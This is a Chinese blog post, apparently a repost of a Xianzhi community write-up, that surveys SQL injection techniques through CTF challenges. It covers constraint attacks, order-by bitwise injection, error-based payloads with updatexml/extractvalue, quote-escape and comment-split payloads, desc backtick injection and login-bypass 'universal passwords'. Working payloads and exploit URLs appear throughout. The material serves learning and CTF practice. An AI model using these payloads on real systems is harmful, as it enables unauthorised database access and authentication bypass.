又双叒叕谈注入

2019-08-12 约 322 字 预计阅读 2 分钟

声明:本文 【又双叒叕谈注入】 由作者 fs冷逸 于 2019-08-12 07:35:00 首发 先知社区 曾经 浏览数 281 次

感谢 fs冷逸 的辛苦付出!

前言

继续对SQL注入进行一个总结以及学习,本文目录如下:

  • SQL约束攻击
  • order by后的注入
  • insert、update、delete后的注入
  • http分割注入
  • desc相关问题
  • 万能密码
  • \N问题

唔,新姿势不多,望各位师傅莫怪

SQL约束攻击

SQL约束攻击并不是一种很新颖的攻击方式,它的成因是因为在处理SQL中的字符串时,字符串末尾的空格字符都会被删除。换句话说,“lengyi”与“lengyi ”几乎是等效的,这在大多数情况下是正确的,例如WHERE子句中的字符串或INSERT语句中的字符串。例如,以下语句的查询结果,与使用用户名“lengyi”进行查询时的结果是一样的。

select * from student where name = 'caocao  ';

等同于

select * from student where name = 'caocao';

本地可以看下效果

我们以一个题目来看一下,题目地址:

http://123.206.31.85:49163/

这是一道很典型的sql约束攻击的题目

我们可以注册一个如

账号:admin[多个空格]           
密码:random_pass

那么我们在登录的时候就相当于执行了

select username from users where username='admin' AND password='random_pass';

虽然我们查询的是我们自己的用户名,但是返回的却是目标的用户名,这样就达到了越权的目的

order by后的注入

常见的order by注入一般会使用报错、布尔、时间进行注入

一个典型的报错注入如下

select * from student2 order by updatexml(1,concat('~',(select version())),'xxx');

在说 order by 注入之前我们先来看两条SQL语句

select 2|3;

select 2&3;

为什么会出现这种结果呢?这是因为SQL中的位运算符的比较,其实是2和3的二进制的比较,即10和11进行|还有&运算,那么就会得到刚才的结果

理解完这个之后我们继续进行order by后的测试

我们还是先来看两个语句

select * from student2 order by id|1;

select * from student2 order by id|2;

那么为什么会出现这种效果呢?

我们再来看一下另外的两条语句

select id from student2;

select id|2 from student2;

效果如下:

其实它的过程是这样的

1     2      3
001   010    011
010   010    010

011   010    011
3     2      3

即取出的id的值和2进行了一次或运算,这样也就能明白刚才

select * from student2 order by id|2;

这条语句的结果了

那么这也就意味着我们的2这个位置是可以控制的了,也就可以进行注入了

题目地址:https://chall.tasteless.eu/level1/index.php

页面是由一大堆的排序字符组成的,给出了提示:hint: table level1_flag column flag 即表名和列名

因为没有传参的地方,fuzz得到参数为dir(后来才知道原本的url应该为https://chall.tasteless.eu/level1/index.php?dir=)

因为知道是order by注入,所以尝试desc和asc,发现页面果然产生了变化

然后我们又知道order by后面的注入可以使用|进行测试

https://chall.tasteless.eu/level1/index.php?dir=|2

果然页面发生了变化,此时我们的思路就出来了

https://chall.tasteless.eu/level1/index.php?dir=|(注入语句)+1

因为这时候当语句为真时,+1=2则页面返回与之前不同,以此来判断每个值,这里我选择使用正则注入,最后构造的SQL语句为

|(select(select flag from level1_flag)regexp '正则')+1

当然这样的过程是十分无聊而又缓慢的,这个时候我们可以去写一个简单的脚本来实现它,这里本人就不去显露我那可悲的py功底了...

insert、update、delete后的注入

insert 后的

insert into student values(3,'attack'or updatexml('anything',concat('~',(select user())),'ll'),'test');

或者将语句插入到数据库中,则查询时显示

delete或update同理

题目地址:

https://chall.tasteless.eu/level15/index.php

这个一个很经典可以对数据库进行操作的题目

用户名和文本的输入会插入到数据库里面,然后进行一个查询输出,后端的数据库语句可能为

insert into (name,text) values ('','');

那么我们一般的思路就是我们可以闭合前面的引号,然后注释掉后面的内容,可是这里有一个很头疼的问题就是单引号被过滤了,但是我们可以使用\进行把引号去掉,那么这个时候后面的引号就会和前面的引号产生闭合,此时我们再增加一个,加我们的语句,最后我们后端的数据库语句就变成了

insert into (name,text) values ('\'',select version()#)

所以最后构造的payload如下:

\

,(select flag from level15_flag))#

http分割注入

我们一般的SQL语句一般是where username='???' and password='???' 而sql语句中可以使用//注释掉中间的SQL语句。也就是说,我们可以使用//来解决某些问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

因为此类问题比较简单,直接给出payload

select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or''

desc相关问题

我们先来看下desc的相关介绍

也就是说在表名后面可以跟列名或者是正则表达式,这样我们可带入我们的sql注入语句

题目地址:http://web.jarvisoj.com:32794/

访问以下页面拿到源码

http://web.jarvisoj.com:32794/index.php~

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

语句很简单,这里不在多说

唯一值得注意的就是

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
echo $ret[0];

在 mysql是作为保留字符的,连续的两个反引号相当于一个空格,而且desc支持两个参数,那么我们就可以尝试注入了,又因为在第二句为了输出我们想要的,需要查询的第一部分失效

最后构造payload:

test` ` where 1=2  union select 1

那么本来的语句就会变成

desc `secret_test` ` where 1=2  union select 1`
select 'flag{xxx}' from secret_test` ` where 1=2  union select 1

最后得到flag

http://web.jarvisoj.com:32794/index.php?table=test`%20`%20where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

万能密码

关于万能密码,网上有很多前辈已经总结过了,这里就不班门弄斧,下面的几个姿势不知道的可以学习下,知道的请略过...

嘿嘿嘿

双引号法:

select * from student2 where name = ''+'' and gender = ''+'';

双等于法:

select * from student2 where name = 'aaa'='' and gender = 'aaa'='';

或者这样的

\N问题

这里给出两张图,大家就明白了,利用姿势的话各位师傅肯定比我会多...

写在后面

文采有限,措辞轻浮,内容浅显,操作生疏,如有任何不对的地方,还望各位师傅指出,以免误人子弟,万分感谢

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now